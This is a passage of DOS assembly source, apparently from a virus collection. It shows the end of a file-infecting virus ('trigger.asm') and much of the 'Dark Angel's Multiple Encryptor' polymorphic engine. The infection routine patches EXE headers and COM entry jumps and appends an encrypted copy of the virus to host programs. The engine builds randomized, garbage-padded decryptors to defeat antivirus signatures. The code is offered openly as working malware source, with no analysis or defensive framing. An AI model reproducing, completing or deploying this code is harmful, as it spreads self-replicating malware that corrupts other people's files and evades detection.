  906.         mov     si,dx
  907.         call    callint21
  908.         jc      already_infected
  909.  
  910.         mov     di,offset writebuffer
  911.         mov     cx,18/2
  912.  
  913.         push    si
  914.         push    di
  915.  
  916.         rep     movsw
  917.  
  918.         pop     di
  919.         pop     si
  920.  
  921.         mov     ax,4202
  922.         xor     cx,cx
  923.         cwd
  924.         int     21
  925.  
  926.         cmp     word ptr [di],'ZM'
  927.         jnz     infectCOM
  928.  
  929. infectEXE:
  930.         cmp     readbuffer+10,EXE_ID
  931. go_already_infected:
  932.         jz      already_infected
  933.  
  934.         mov     ds:writebuffer+4,ax
  935.         mov     ds:writebuffer+2,dx
  936.  
  937.         mov     cx,10
  938.         div     cx
  939.  
  940.         sub     ax,ds:writebuffer+8
  941.  
  942.         mov     ds:writebuffer+14,dx
  943.         mov     ds:writebuffer+16,ax
  944.  
  945.         xchg    cx,dx
  946.  
  947.         mov     ds:writebuffer+0e,ax
  948.         mov     ds:writebuffer+10,EXE_ID
  949.  
  950.         mov     al,10b
  951.         jmp     finishinfect
  952.  
  953. infectCOM: ; si = readbuffer, di = writebuffer
  954.         push    ax
  955.  
  956.         mov     cx,4
  957.         xor     dx,dx
  958. check_infection_loop:
  959.         lodsb
  960.         add     dl,al
  961.         loop    check_infection_loop
  962.  
  963.         pop     ax
  964.  
  965.         or      dl,dl
  966.         jz      go_already_infected
  967.  
  968.         mov     dx,18
  969.         cmp     ax,dx
  970.         jnb     no_fixup_com
  971.  
  972.         mov     ax,4200
  973.         xor     cx,cx
  974.         int     21
  975. no_fixup_com:
  976.         mov     cx,ax
  977.         inc     ch      ; add cx,100
  978.         sub     ax,3
  979.         push    ax
  980.         mov     al,0e9
  981.         stosb
  982.         pop     ax
  983.         stosw
  984.         add     al,ah
  985.         add     al,0e9
  986.         neg     al
  987.         stosb
  988.  
  989.         mov     al,11b
  990. finishinfect:
  991.         cbw
  992. ; ax = bitmask
  993. ; bx = start decrypt in carrier file
  994. ; cx = encrypt length
  995. ; dx = start encrypt in virus
  996. ; si = buffer to put decryption routine
  997. ; di = buffer to put encryption routine
  998.         push    bx
  999.  
  1000.         xchg    cx,bx
  1001.  
  1002.         xor     si,si
  1003.         mov     di,offset copyvirus
  1004.         mov     cx,(heap-entry+1)/2
  1005.         rep     movsw
  1006.  
  1007.         push    ax
  1008.         call    rnd_init_seed
  1009.         pop     ax
  1010.  
  1011.         mov     dx,offset copyvirus
  1012.         mov     cx,viruslength
  1013.         mov     si,offset _decryptbuffer
  1014.         mov     di,offset _encryptbuffer
  1015.         call    dame
  1016.  
  1017.         push    cx
  1018.  
  1019.         cmp     ds:writebuffer,'ZM'
  1020.         jnz     no_fix_header
  1021.  
  1022.         mov     dx,ds:writebuffer+2
  1023.         mov     ax,ds:writebuffer+4
  1024.         add     cx,viruslength
  1025.         add     ax,cx
  1026.         adc     dx,0
  1027.         mov     cx,200
  1028.         div     cx
  1029.         or      dx,dx
  1030.         jz      nohiccup
  1031.         inc     ax
  1032. nohiccup:
  1033.         mov     ds:writebuffer+4,ax
  1034.         mov     ds:writebuffer+2,dx
  1035. no_fix_header:
  1036.         call    di
  1037.         pop     cx
  1038.  
  1039.         pop     bx
  1040.  
  1041.         mov     ah,40
  1042.         mov     dx,offset _decryptbuffer
  1043.         call    callint21
  1044.  
  1045.         mov     ah,40
  1046.         mov     cx,viruslength
  1047.         mov     dx,offset copyvirus
  1048.         call    callint21
  1049.  
  1050.         mov     ax,4200
  1051.         xor     cx,cx
  1052.         cwd
  1053.         int     21
  1054.  
  1055.         mov     ah,40
  1056.         mov     cx,18
  1057.         mov     dx,offset writebuffer
  1058.         call    callint21
  1059.         jmp     already_infected
  1060.  
  1061. vars = 0
  1062. include dame.asm
  1063.  
  1064. heap:
  1065. vars = 1
  1066. include dame.asm
  1067.  
  1068. writebuffer             dw       0c dup (?)
  1069. _encryptbuffer:         db       80 dup (?)
  1070. _decryptbuffer:         db      180 dup (?)
  1071. copyvirus               db      viruslength dup (?)
  1072.                         db      20 dup (?)
  1073. endvirus:
  1074.  
  1075. end entry
  1076. -end trigger.asm----begin dame.asm---------------------------------------------
  1077. ifndef vars
  1078. vars = 2
  1079. endif
  1080.  
  1081. if vars eq 1
  1082. else
  1083.  
  1084. _ax = 0
  1085. _cx = 1
  1086. _dx = 2
  1087. _bx = 3
  1088. _sp = 4
  1089. _bp = 5
  1090. _si = 6
  1091. _di = 7
  1092.  
  1093. _es = 8
  1094. _cs = 9
  1095. _ss = 0a
  1096. _ds = 0bh
  1097.  
  1098. MAXNEST = 0a            ; controls recursion problems
  1099.  
  1100. ; ax = flags
  1101. ;       15 : Reserved
  1102. ;       14 : 0 = word, 1 = dword
  1103. ;       13 : encryption direction : 0 = forwards, 1 = backwards
  1104. ;       12 : counter direction : 0 = forwards, 1 = backwards
  1105. ;       11 :    ^
  1106. ;       10 :    R
  1107. ;        9 :    E
  1108. ;        8 :    S
  1109. ;        7 :    E
  1110. ;        6 :    R
  1111. ;        5 :    V
  1112. ;        4 :    E
  1113. ;        3 :    D
  1114. ;        2 :    v
  1115. ; DAME sets the above bits
  1116. ;
  1117. ; Virus sets the following bits:
  1118. ;        1 : garble : 1 = yes, 0 = no
  1119. ;        0 : DS = CS : 1 = yes, 0 = no
  1120. ; bx = start decrypt in carrier file
  1121. ; cx = encrypt length
  1122. ; dx = start encrypt
  1123. ; si = buffer to put decryption routine
  1124. ; di = buffer to put encryption routine
  1125. ; ds = current cs
  1126. ; es = current cs
  1127.  
  1128. ; Returns:
  1129. ;  cx = decryption routine length
  1130. ;  all other registers are preserved.
  1131.  
  1132. rnd_init_seed:
  1133.         push    dx
  1134.         push    cx
  1135.         push    bx
  1136.         mov     ah,2C                   ; get time
  1137.         int     21
  1138.  
  1139.         in      al,40                   ; port 40h, 8253 timer 0 clock
  1140.         mov     ah,al
  1141.         in      al,40                   ; port 40h, 8253 timer 0 clock
  1142.         xor     ax,cx
  1143.         xor     dx,ax
  1144.         jmp     short rnd_get_loop_done
  1145. get_rand:
  1146.         push    dx
  1147.         push    cx
  1148.         push    bx
  1149.         in      al,40                   ; get from timer 0 clock
  1150.         db      5 ; add ax, xxxx
  1151. rnd_get_patch1  dw      0
  1152.                 db      0BA  ; mov dx, xxxx
  1153. rnd_get_patch2  dw      0
  1154.         mov     cx,7
  1155.  
  1156. rnd_get_loop:
  1157.         shl     ax,1
  1158.         rcl     dx,1
  1159.         mov     bl,al
  1160.         xor     bl,dh
  1161.         jns     rnd_get_loop_loc
  1162.         inc     al
  1163. rnd_get_loop_loc:
  1164.         loop    rnd_get_loop
  1165.  
  1166. rnd_get_loop_done:
  1167.         mov     rnd_get_patch1,ax
  1168.         mov     rnd_get_patch2,dx
  1169.         mov     al,dl
  1170.         pop     bx
  1171.         pop     cx
  1172.         pop     dx
  1173.         retn
  1174.  
  1175. reg_xlat_table:
  1176.         db      10000111b ; bx
  1177.         db      0         ; sp
  1178.         db      10000110b ; bp
  1179.         db      10000100b ; si
  1180.         db      10000101b ; di
  1181.  
  1182. aligntable      db      3,7,0f,1f
  1183.  
  1184. redo_dame:
  1185.         pop     di
  1186.         pop     si
  1187.         pop     dx
  1188.         pop     cx
  1189.         pop     bx
  1190.         pop     ax
  1191. dame:   ; Dark Angel's Multiple Encryptor
  1192.         cld
  1193.         push    ax
  1194.         push    bx
  1195.         push    cx
  1196.         push    dx
  1197.         push    si
  1198.         push    di
  1199.         call    _dame
  1200.         pop     di
  1201.         pop     si
  1202.         pop     dx
  1203.         pop     bx ; return value in cx
  1204.         pop     bx
  1205.         pop     ax
  1206.         ret
  1207.  
  1208. _dame:
  1209. ; set up variables
  1210.         cld
  1211.  
  1212.         push    ax
  1213.  
  1214.         mov     ax,offset _encryptpointer
  1215.         xchg    ax,di           ; pointer to encryption routine buffer
  1216.         stosw
  1217.         xchg    si,ax           ; pointer to decryption routine buffer
  1218.         stosw
  1219.  
  1220.         stosw
  1221.  
  1222.         xchg    ax,dx           ; starting offset of encryption
  1223.         stosw
  1224.         xchg    ax,bx           ; starting offset of decryption routine
  1225.         stosw
  1226.  
  1227.         xchg    cx,dx           ; dx = encrypt size
  1228.  
  1229.         call    clear_used_regs
  1230.         mov     cx,(endclear1 - beginclear1) / 2
  1231.         rep     stosw
  1232.  
  1233.         call    get_rand
  1234.         and     ax,not 3
  1235.  
  1236.         pop     cx
  1237.         xor     cx,ax           ; cx = bitmask
  1238.  
  1239.         call    get_rand_bx
  1240.         and     bx,3
  1241.         mov     al,byte ptr [bx+aligntable]
  1242.         cbw
  1243.         add     dx,ax           ; round up
  1244.         not     ax
  1245.         and     dx,ax
  1246.  
  1247.         mov     ax,dx           ; new encryption length
  1248.         stosw                   ; _encrypt_length
  1249.  
  1250.         shr     ax,1
  1251.         test    ch,40 ; dword?
  1252.         jz      word_encryption
  1253.         shr     ax,1
  1254. word_encryption:
  1255.         test    ch,10
  1256.         jnz     counter_backwards
  1257.         neg     ax
  1258. counter_backwards:
  1259.         stosw                   ; _counter_value
  1260.  
  1261.         xchg    ax,dx           ; get encryption length in bytes
  1262.  
  1263.         test    ch,20
  1264.         jnz     encrypt_forwards
  1265.         neg     ax              ; pointer to start of decryption
  1266. encrypt_forwards:
  1267.         stosw                   ; _pointer_value
  1268.  
  1269.         call    get_rand
  1270.         stosw                   ; encryption value = _decrypt_value
  1271.  
  1272.         mov     ax,8484
  1273.         stosb
  1274.         push    di
  1275.         stosw
  1276.         stosb
  1277.         pop     di
  1278.  
  1279.         call    one_in_two
  1280.         js      s1
  1281.         call    get_another
  1282.         stosb
  1283.         call    get_rand
  1284.         mov     _pointer_value,ax
  1285.         dec     di
  1286. s1:
  1287.         inc     di
  1288.  
  1289.         jmp     short gbxoh_skip
  1290. get_bx_or_higher:
  1291.         call    clear_reg
  1292. gbxoh_skip:
  1293.         call    get_another
  1294.         cmp     al,_bx
  1295.         jb      get_bx_or_higher
  1296.         stosb                   ; _pointer_reg
  1297.  
  1298.         call    one_in_two
  1299.         js      s2
  1300.         call    get_another
  1301.         stosb                   ; _encrypt_reg
  1302. s2:
  1303.  
  1304. ; encode setup part of decryption
  1305.         call    clear_used_regs
  1306. encode_setup:
  1307.         mov     di,_decryptpointer
  1308.         call    twogarble
  1309.  
  1310.         mov     si,offset _dummy_reg
  1311.         push    si
  1312. encode_setup_get_another:
  1313.         call    get_rand_bx
  1314.         and     bx,3
  1315.         mov     al,[si+bx]
  1316.         cbw
  1317.         test    al,80
  1318.         jnz     encode_setup_get_another
  1319.         or      byte ptr [bx+_dummy_reg],80
  1320.         mov     si,ax
  1321.         inc     byte ptr [si+offset _used_regs]
  1322.  
  1323.         add     bx,bx
  1324.         mov     dx,word ptr [bx+_counter_value-2]
  1325.  
  1326.         mov     _nest,0
  1327.         call    mov_reg_xxxx
  1328.         call    twogarble
  1329.         call    swap_decrypt_encrypt
  1330.  
  1331.         push    cx
  1332.         and     cl,not 3
  1333.         call    _mov_reg_xxxx
  1334.         pop     cx
  1335.  
  1336.         mov     _encryptpointer,di
  1337.  
  1338.         pop     si
  1339.         mov     dx,4
  1340. encode_setup_check_if_done:
  1341.         lodsb
  1342.         test    al,80
  1343.         jz      encode_setup
  1344.         dec     dx
  1345.         jnz     encode_setup_check_if_done
  1346.  
  1347.         mov     si,offset _encryptpointer
  1348.         mov     di,offset _loopstartencrypt
  1349.         movsw
  1350.         movsw
  1351.  
  1352. ; encode decryption part of loop
  1353.         mov     _relocate_amt,0
  1354.         call    do_encrypt1
  1355.         test    ch,40
  1356.         jz      dont_encrypt2
  1357.  
  1358.         mov     _relocate_amt,2
  1359.         call    do_encrypt1
  1360. dont_encrypt2:
  1361.         mov     bx,offset _loopstartencrypt
  1362.         push    cx
  1363.         and     cl,not 3
  1364.         call    encodejmp
  1365.         pop     cx
  1366.  
  1367.         mov     ax,0c3fc ; cld, ret
  1368.         stosw
  1369.  
  1370.         mov     si,offset _encrypt_relocator
  1371.         mov     di,_start_encrypt
  1372.  
  1373.         push    cx
  1374.         call    relocate
  1375.         pop     cx
  1376.  
  1377.         mov     bx,offset _loopstartdecrypt
  1378.         call    encodejmp
  1379.         call    fourgarble
  1380.         mov     _decryptpointer,di
  1381.  
  1382.         mov     si,offset _decrypt_relocator
  1383.         sub     di,_decryptpointer2
  1384.         add     di,_start_decrypt
  1385. relocate:
  1386.         test    ch,20
  1387.         jz      do_encrypt_backwards
  1388.         add     di,_encrypt_length
  1389. do_encrypt_backwards:
  1390.         sub     di,_pointer_value
  1391.         mov     cx,word ptr [si-2]
  1392.         jcxz    exit_relocate
  1393.         xchg    ax,di
  1394. relocate_loop:
  1395.         xchg    ax,di
  1396.         lodsw
  1397.         xchg    ax,di
  1398.         add     [di],ax
  1399.         loop    relocate_loop
  1400. exit_relocate:
  1401.         mov     di,_decryptpointer
  1402.         mov     cx,di
  1403.         sub     cx,_decryptpointer2
  1404.         ret
  1405.  
  1406. do_encrypt1:
  1407.         call    playencrypt
  1408.         call    encryption
  1409.         call    playencrypt
  1410.         ret
  1411.  
  1412. encodejmp:
  1413.         mov     di,word ptr [bx+_encryptpointer-_loopstartencrypt]
  1414.  
  1415.         push    bx
  1416.         mov     _nest,0
  1417.         mov     al,_pointer_reg
  1418.         and     ax,7
  1419.         mov     dx,2
  1420.         test    ch,40
  1421.         jz      update_pointer1
  1422.         shl     dx,1
  1423. update_pointer1:
  1424.         test    ch,20
  1425.         jz      update_pointer2
  1426.         neg     dx
  1427. update_pointer2:
  1428.         call    add_reg_xxxx
  1429.  
  1430.         mov     dl,75   ; jnz
  1431.  
  1432.         mov     al,_counter_reg
  1433.         and     ax,7
  1434.         cmp     al,_sp
  1435.         jz      do_jnz
  1436.  
  1437.         push    dx
  1438.         mov     dx,1
  1439.  
  1440.         test    ch,10 ; check counter direction
  1441.         jz      go_counter_forwards
  1442.  
  1443.         cmp     al,_cx
  1444.         jnz     regular
  1445.         call    one_in_two
  1446.         js      regular
  1447.  
  1448.         pop     dx
  1449.         call    get_rand_bx
  1450.         xchg    bx,dx
  1451.         and     dl,2
  1452.         or      dl,0e0  ; loop/loopnz
  1453.         jmp     short do_jnz
  1454. regular:
  1455.         neg dx
  1456. go_counter_forwards:
  1457.         call    add_reg_xxxx
  1458.         pop     dx
  1459. do_jnz:
  1460.         pop     bx
  1461.         mov     ax,[bx]
  1462.         sub     ax,di
  1463.         dec     ax
  1464.         dec     ax
  1465.         xchg    ah,al
  1466.         mov     al,dl   ; jnz
  1467.  
  1468.         test    ah,80
  1469.         jnz     jmplocation_okay
  1470.  
  1471.         pop     ax
  1472.         pop     ax
  1473.         jmp     redo_dame
  1474. jmplocation_okay:
  1475.         stosw
  1476.         mov     word ptr [bx+_encryptpointer-_loopstartencrypt],di
  1477.         ret
  1478.  
  1479. swap_decrypt_encrypt:
  1480.         mov     _nest,MAXNEST
  1481.         mov     _decryptpointer,di
  1482.         mov     di,_encryptpointer
  1483.         ret
  1484.  
  1485. playencrypt:
  1486.         mov     di,_decryptpointer
  1487.         call    twogarble
  1488.  
  1489.         mov     al,_encrypt_reg
  1490.         and     ax,7
  1491.         cmp     al,4    ; is there an encryption register?
  1492.         jz      swap_decrypt_encrypt
  1493.  
  1494.         call    get_rand_bx     ; 3/4 chance of doing something
  1495.         cmp     bl,0c0
  1496.         ja      swap_decrypt_encrypt
  1497.  
  1498.         call    _playencrypt
  1499.         call    handle_jmp_table_nogarble
  1500. finish_encryption:
  1501.         call    swap_decrypt_encrypt
  1502.         push    cx
  1503.         and     cl,not 3
  1504.         call    [bx+si+1]
  1505.         pop     cx
  1506.         mov     _encryptpointer,di
  1507.         ret
  1508.  
  1509. _playencrypt:
  1510.         mov     _nest,0
  1511.         call    one_in_two
  1512.         js      get_used_register
  1513.  
  1514.         call    get_rand_bx
  1515.         mov     si,offset oneregtable
  1516.         jmp     short continue_playencrypt
  1517.  
  1518. get_used_register:
  1519.         call    get_rand_bx
  1520.         and     bx,7
  1521.         cmp     bl,_sp
  1522.         jz      get_used_register
  1523.         cmp     byte ptr [bx+_used_regs],0
  1524.         jz      get_used_register
  1525.         mov     si,offset tworegtable
  1526. continue_playencrypt:
  1527.         xchg    dx,bx
  1528.         ret
  1529.  
  1530. encryption:
  1531.         mov     di,_decryptpointer
  1532.         call    twogarble
  1533.         mov     al,_pointer_reg
  1534.         and     ax,7
  1535.         mov     bx,offset reg_xlat_table-3
  1536.         xlat
  1537.  
  1538.         mov     bp,offset _decrypt_relocate_num
  1539.         call    _playencrypt
  1540.         call    go_next
  1541.         call    handle_jmp_table_nogarble
  1542.  
  1543.         mov     bp,offset _encrypt_relocate_num
  1544.         call    go_next
  1545.         jmp     short finish_encryption
  1546.  
  1547. go_next:
  1548.         push    ax
  1549.         lodsb
  1550.         cbw
  1551.         add     si,ax
  1552.         pop     ax
  1553.         inc     si
  1554.         inc     si
  1555.         ret
  1556.  
  1557. clear_used_regs:
  1558.         xor     ax,ax
  1559.         mov     di,offset _used_regs
  1560.         stosw
  1561.         stosw
  1562.         inc     ax
  1563.         stosw
  1564.         dec     ax
  1565.         stosw
  1566.         ret
  1567.  
  1568. get_another:
  1569.         call    get_rand
  1570.         and     ax,7
  1571.         mov     si,ax
  1572.         cmp     [si+_used_regs],0
  1573.         jnz     get_another
  1574.         inc     [si+_used_regs]
  1575.         ret
  1576.  
  1577. clear_reg_dx:
  1578.         xchg    ax,dx
  1579. clear_reg:
  1580.         mov     si,ax
  1581.         mov     byte ptr [si+_used_regs],0
  1582.         ret
  1583.  
  1584. free_regs:      ; check for free registers
  1585.                 ; zero flag if OK
  1586.         push    ax
  1587.         push    cx
  1588.         push    di
  1589.         mov     di,offset _used_regs
  1590.         mov     cx,8
  1591.         xor     ax,ax
  1592.         repne   scasb
  1593.         pop     di
  1594.         pop     cx
  1595.         pop     ax
  1596.         ret
  1597.  
  1598. one_in_two:
  1599.         push    ax
  1600.         call    get_rand
  1601.         or      ax,ax
  1602.         pop     ax
  1603.         ret
  1604.  
  1605. get_rand_bx:
  1606.         xchg    ax,bx
  1607.         call    get_rand
  1608.         xchg    ax,bx
  1609. return:
  1610.         ret
  1611.  
  1612. fourgarble:
  1613.         call    twogarble
  1614. twogarble:
  1615.         mov     _nest,0
  1616.         call    garble
  1617. garble: ; ax, dx preserved
  1618.         call    free_regs
  1619.         jne     return
  1620.  
  1621.         test    cl,2
  1622.         jz      return
  1623.  
  1624.         push    ax
  1625.         push    dx
  1626.  
  1627.         call    get_rand                ; random # to dx
  1628.         xchg    ax,dx
  1629.         call    get_another             ; random reg in al
  1630.         call    clear_reg               ; don't mark as used
  1631.  
  1632.         mov     si,offset garbletable
  1633.         jmp     short handle_jmp_table_nopush_ax_dx
  1634.  
  1635. handle_jmp_table: ; ax,dx preserved
  1636.         push    si
  1637.         call    garble
  1638.         pop     si
  1639. handle_jmp_table_nogarble:
  1640.         push    ax
  1641.         push    dx
  1642. handle_jmp_table_nopush_ax_dx:
  1643.         push    si
  1644.  
  1645.         push    cx
  1646.         xchg    ax,cx
  1647.         lodsb           ; get mask value
  1648.         cbw
  1649.         xchg    ax,cx
  1650.         call    get_rand_bx
  1651.         and     bx,cx
  1652.         pop     cx
  1653.  
  1654.         inc     _nest
  1655.         cmp     _nest,MAXNEST
  1656.         jb      not_max_nest
  1657.         xor     bx,bx
  1658. not_max_nest:
  1659.         push    bx
  1660.         call    [bx+si]
  1661.         pop     bx
  1662.         pop     si
  1663.         pop     dx
  1664.         pop     ax
  1665.  
  1666.         ret
  1667.  
  1668. garble_tworeg:
  1669.         mov     si,offset tworegtable
  1670.         and     dx,7
  1671.         jmp     short handle_jmp_table_nogarble
  1672. garble_onereg:
  1673.         mov     si,offset oneregtable
  1674.         jmp     short handle_jmp_table_nogarble
  1675. garble_onebyte:
  1676.         xchg    ax,dx
  1677.         and     al,7
  1678.         mov     bx,offset onebytetable
  1679.         xlat
  1680.         stosb
  1681.         ret
  1682. garble_jmpcond:
  1683.         xchg    ax,dx
  1684.         and     ax,0f
  1685.         or      al,70
  1686.         stosw
  1687.         ret
  1688.  
  1689. _push:
  1690.         or      al,al
  1691.         js      _push_mem
  1692.         add     al,50
  1693.         stosb
  1694.         ret
  1695. _push_mem:
  1696.         add     ax,0ff30
  1697.         jmp     short go_mod_xxx_rm1
  1698.  
  1699. _pop:
  1700.         or      al,al
  1701.         js      _pop_mem
  1702.         add     al,58
  1703.         stosb
  1704.         ret
  1705. _pop_mem:
  1706.         mov     ah,8f
  1707. go_mod_xxx_rm1:
  1708.         jmp     mod_xxx_rm
  1709.  
  1710. mov_reg_xxxx:
  1711.         mov     si,offset mov_reg_xxxx_table
  1712. go_handle_jmp_table1:
  1713.         jmp     short handle_jmp_table
  1714.  
  1715. _mov_reg_xxxx_mov_add:
  1716.         call    get_rand_bx
  1717.         push    bx
  1718.         sub     dx,bx
  1719.         call    mov_reg_xxxx
  1720.         pop     dx
  1721.         jmp     short go_add_reg_xxxx
  1722.  
  1723. _mov_reg_xxxx_mov_al_ah:
  1724.         cmp     al,_sp
  1725.         jae     _mov_reg_xxxx
  1726.         push    ax
  1727.         push    dx
  1728.         call    _mov_al_xx
  1729.         pop     dx
  1730.         pop     ax
  1731.         xchg    dh,dl
  1732.         jmp     short _mov_ah_xx
  1733.  
  1734. _mov_reg_xxxx_mov_xor:
  1735.         call    get_rand_bx
  1736.         push    bx
  1737.         xor     dx,bx
  1738.         call    mov_reg_xxxx
  1739.         pop     dx
  1740.         jmp     xor_reg_xxxx
  1741.  
  1742. _mov_reg_xxxx_xor_add:
  1743.         push    dx
  1744.         mov     dx,ax
  1745.         call    xor_reg_reg
  1746.         pop     dx
  1747. go_add_reg_xxxx:
  1748.         jmp     add_reg_xxxx
  1749.  
  1750. _mov_reg_xxxx_mov_rol:
  1751.         ror     dx,1
  1752.         call    mov_reg_xxxx
  1753.         jmp     short _rol
  1754.  
  1755. _mov_reg_xxxx_mov_ror:
  1756.         rol     dx,1
  1757.         call    mov_reg_xxxx
  1758. _ror:
  1759.         or      al,8
  1760. _rol:
  1761.         mov     ah,0d1
  1762.         jmp     mod_xxx_rm
  1763.  
  1764.  
  1765. _mov_reg_xxxx:
  1766.         add     al,0B8
  1767.         stosb
  1768.         xchg    ax,dx
  1769.         stosw
  1770.         ret
  1771.  
  1772. mov_ah_xx:
  1773. _mov_ah_xx:
  1774.         add     al,04
  1775. mov_al_xx:
  1776. _mov_al_xx:
  1777.         add     al,0B0
  1778.         mov     ah,dl
  1779.         stosw
  1780.         ret
  1781.  
  1782. mov_reg_reg:
  1783.         mov     si,offset mov_reg_reg_table
  1784.         jmp     short go_handle_jmp_table1
  1785.  
  1786. _mov_reg_reg_push_pop:
  1787.         push    ax
  1788.         xchg    dx,ax   ; al = reg2
  1789.         call    _push           ; push reg2
  1790.         pop     ax      ; al = reg1
  1791.         jmp     _pop            ; pop reg1
  1792. _mov_reg_reg:
  1793.         mov     ah,08Bh
  1794.         jmp     short _mod_reg_rm_direction
  1795.  
  1796. mov_xchg_reg_reg:
  1797.         call    one_in_two
  1798.         js      mov_reg_reg
  1799.  
  1800. xchg_reg_reg:
  1801.         mov     si,offset xchg_reg_reg_table
  1802.         jmp     handle_jmp_table
  1803.  
  1804. _xchg_reg_reg_push_pop:
  1805.         push    dx      ; save reg2
  1806.         push    ax      ; save reg1
  1807.         push    dx
  1808.         call    _push   ; push reg1
  1809.         pop     ax
  1810.         call    _push   ; push reg2
  1811.         pop     ax
  1812.         call    _pop    ; pop  reg1
  1813.         pop     ax
  1814.         jmp     _pop    ; pop  reg2
  1815.  
  1816. _xchg_reg_reg_3rd_reg:
  1817.         call    free_regs
  1818.         jne     _xchg_reg_reg
  1819.  
  1820.         push    dx      ; save reg2
  1821.         push    ax      ; save reg1
  1822.         call    get_another
  1823.         call    mov_xchg_reg_reg     ; mov/xchg reg3, reg2
  1824.         pop     dx      ; get reg1
  1825.         call    xchg_reg_reg    ; xchg reg3, reg1
  1826.         pop     dx      ; get reg2
  1827.         xchg    ax,dx   ; ax=reg2, dx=reg3
  1828.         call    mov_xchg_reg_reg    ; mov/xchg reg2, reg3
  1829.         jmp     clear_reg_dx
  1830.  
  1831. _xchg_reg_reg:
  1832.         or      al,al
  1833.         js      __xchg_reg_reg
  1834.  
  1835.         cmp     al,dl
  1836.         jg      _xchg_reg_reg_skip
  1837.         xchg    al,dl
  1838. _xchg_reg_reg_skip:
  1839.         or      dl,dl
  1840.         jz      _xchg_ax_reg
  1841. __xchg_reg_reg:
  1842.         xchg    al,dl
  1843.         mov     ah,87
  1844.         jmp     short _mod_reg_rm
  1845. _xchg_ax_reg:
  1846.         add     al,90
  1847.         stosb
  1848.         ret
  1849.  
  1850. xor_reg_xxxx_xor_xor:
  1851.         call    get_rand_bx
  1852.         push    bx
  1853.         xor     dx,bx
  1854.         call    xor_reg_xxxx
  1855.         pop     dx
  1856.         jmp     short xor_reg_xxxx
  1857.  
  1858. xor_reg_xxxx:
  1859.         mov     si,offset xor_reg_xxxx_table
  1860.         jmp     handle_jmp_table
  1861.  
  1862. _xor_reg_xxxx:
  1863.         or      al,030
  1864.         jmp     _81h_
  1865.  
  1866. xor_reg_reg:
  1867.         mov     si,offset xor_reg_reg_table
  1868.         jmp     handle_jmp_table
  1869.  
  1870. _xor_reg_reg:
  1871.         mov     ah,33
  1872. _mod_reg_rm_direction:
  1873.         or      al,al
  1874.         js      dodirection
  1875.         or      dl,dl
  1876.         js      _mod_reg_rm
  1877.         call    one_in_two
  1878.         js      _mod_reg_rm
  1879. dodirection:
  1880.         xchg    al,dl
  1881.         sub     ah,2
  1882. _mod_reg_rm:
  1883.         shl     al,1
  1884.         shl     al,1
  1885.         shl     al,1
  1886.         or      al,dl
  1887. mod_xxx_rm:
  1888.         or      al,al
  1889.         js      no_no_reg
  1890.  
  1891.         or      al,0c0
  1892. no_no_reg:
  1893.         xchg    ah,al
  1894.  
  1895.         test    ah,40
  1896.         jnz     exit_mod_reg_rm
  1897.  
  1898.         test    cl,1
  1899.         jnz     continue_mod_xxx_rm
  1900.  
  1901.         push    ax
  1902.         mov     al,2e
  1903.         stosb
  1904.         pop     ax
  1905. continue_mod_xxx_rm:
  1906.         stosw
  1907.  
  1908.         mov     si,cs:[bp]      ; need cs: overrides on bp
  1909.         add     si,si
  1910.         mov     cs:[si+bp+2],di
  1911.         inc     word ptr cs:[bp]
  1912.  
  1913.         mov     al,_relocate_amt
  1914.         cbw
  1915. exit_mod_reg_rm:
  1916.         stosw
  1917.         ret
  1918.  
  1919. add_reg_reg:
  1920.         mov     si,offset add_reg_reg_table
  1921.         jmp     handle_jmp_table
  1922.  
  1923. _add_reg_reg:
  1924.         mov     ah,3
  1925.         jmp     short _mod_reg_rm_direction
  1926.  
  1927. sub_reg_reg:
  1928.         mov     si,offset sub_reg_reg_table
  1929.         jmp     handle_jmp_table
  1930.  
  1931. _sub_reg_reg:
  1932.         mov     ah,2bh
  1933.         jmp     short _mod_reg_rm_direction
  1934.  
  1935. _add_reg_xxxx_inc_add:
  1936.         call    inc_reg
  1937.         dec     dx
  1938.         jmp     short add_reg_xxxx
  1939.  
  1940. _add_reg_xxxx_dec_add:
  1941.         call    dec_reg
  1942.         inc     dx
  1943.         jmp     short add_reg_xxxx
  1944.  
  1945. _add_reg_xxxx_add_add:
  1946.         call    get_rand_bx
  1947.         push    bx
  1948.         sub     dx,bx
  1949.         call    add_reg_xxxx
  1950.         pop     dx
  1951.         jmp     short add_reg_xxxx
  1952.  
  1953. add_reg_xxxx1:
  1954.         neg     dx
  1955. add_reg_xxxx:
  1956.         or      dx,dx
  1957.         jnz     cont
  1958. return1:
  1959.         ret
  1960. cont:
  1961.         mov     si,offset add_reg_xxxx_table
  1962.         jmp     handle_jmp_table
  1963.  
  1964. _add_reg_xxxx:
  1965.         or      al,al
  1966.         jz      _add_ax_xxxx
  1967. _81h_:
  1968.         or      al,al
  1969.         js      __81h
  1970.         add     al,0c0
  1971. __81h:
  1972.         mov     ah,81
  1973.         call    mod_xxx_rm
  1974. _encode_dx_:
  1975.         xchg    ax,dx
  1976.         stosw
  1977.         ret
  1978. _add_ax_xxxx:
  1979.         mov     al,5
  1980. _encode_al_dx_:
  1981.         stosb
  1982.         jmp     short _encode_dx_
  1983.  
  1984. sub_reg_xxxx1:
  1985.         neg     dx
  1986. sub_reg_xxxx:
  1987. _sub_reg_xxxx:
  1988.         or      dx,dx
  1989.         jz      return1
  1990.  
  1991.         or      al,al
  1992.         jz      _sub_ax_xxxx
  1993.         add     al,028
  1994.         jmp     short _81h_
  1995. _sub_ax_xxxx:
  1996.         mov     al,2dh
  1997.         jmp     short _encode_al_dx_
  1998.  
  1999. dec_reg:
  2000.         push    ax
  2001.         add     al,8
  2002.         jmp     short _dec_inc_reg
  2003. inc_reg:
  2004.         push    ax
  2005. _dec_inc_reg:
  2006.         or      al,al
  2007.         jns     _norm_inc
  2008.         mov     ah,0ff
  2009.         call    mod_xxx_rm
  2010.         pop     ax
  2011.         ret
  2012. _norm_inc:
  2013.         add     al,40
  2014.         stosb
  2015.         pop     ax
  2016.         ret
  2017.  
  2018. _mov_reg_reg_3rd_reg:
  2019.         mov     bx,offset mov_reg_reg
  2020.         mov     si,offset mov_xchg_reg_reg
  2021.         jmp     short reg_to_reg
  2022.  
  2023. xor_reg_reg_reg_reg:
  2024.         mov     bx,offset _xor_reg_reg
  2025.         jmp     short reg_to_reg1
  2026. add_reg_reg_reg_reg:
  2027.         mov     bx,offset _add_reg_reg
  2028.         jmp     short reg_to_reg1
  2029. sub_reg_reg_reg_reg:
  2030.         mov     bx,offset _sub_reg_reg
  2031. reg_to_reg1:
  2032.         mov     si,bx
  2033. reg_to_reg:
  2034.         call    free_regs
  2035.         jne     no_free_regs
  2036.  
